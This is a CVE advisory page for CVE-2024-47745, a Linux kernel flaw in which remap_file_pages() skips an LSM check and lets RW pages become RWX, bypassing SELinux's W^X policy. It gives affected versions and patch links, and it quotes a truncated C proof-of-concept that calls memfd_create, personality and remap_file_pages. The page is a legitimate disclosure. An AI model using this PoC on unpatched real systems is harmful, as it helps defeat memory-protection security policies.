CVE-2024-47745
Severity CVSS v4.0:
Pending analysis
Type:
Unavailable / Other
Publication date:
21/10/2024
Last modified:
03/11/2025
Description
In the Linux kernel, the following vulnerability has been resolved:<br />
<br />
mm: call the security_mmap_file() LSM hook in remap_file_pages()<br />
<br />
The remap_file_pages syscall handler calls do_mmap() directly, which<br />
doesn&#39;t contain the LSM security check. And if the process has called<br />
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for<br />
RW pages, this will actually result in remapping the pages to RWX,<br />
bypassing a W^X policy enforced by SELinux.<br />
<br />
So we should check prot by security_mmap_file LSM hook in the<br />
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it<br />
potentially permits an attacker to bypass a W^X policy enforced by<br />
SELinux.<br />
<br />
The bypass is similar to CVE-2016-10044, which bypass the same thing via<br />
AIO and can be found in [1].<br />
<br />
The PoC:<br />
<br />
$ cat > test.c<br />
<br />
int main(void) {<br />
size_t pagesz = sysconf(_SC_PAGE_SIZE);<br />
int mfd = syscall(SYS_memfd_create, "test", 0);<br />
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,<br />
MAP_SHARED, mfd, 0);<br />
unsigned int old = syscall(SYS_personality, 0xffffffff);<br />
syscall(SYS_personality, READ_IMPLIES_EXEC | old);<br />
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);<br />
syscall(SYS_personality, old);<br />
// show the RWX page exists even if W^X policy is enforced<br />
int fd = open("/proc/self/maps", O_RDONLY);<br />
unsigned char buf2[1024];<br />
while (1) {<br />
int ret = read(fd, buf2, 1024);<br />
if (ret
Impact
Base Score 3.x
7.80
Severity 3.x
HIGH
Vulnerable products and versions
| CPE | From | Up to |
|---|---|---|
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.6.54 (excluding) | |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.7 (including) | 6.10.13 (excluding) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.11 (including) | 6.11.2 (excluding) |
To consult the complete list of CPE names with products and versions, see this page
References to Advisories, Solutions, and Tools
- https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
- https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
- https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
- https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
- https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
- https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html



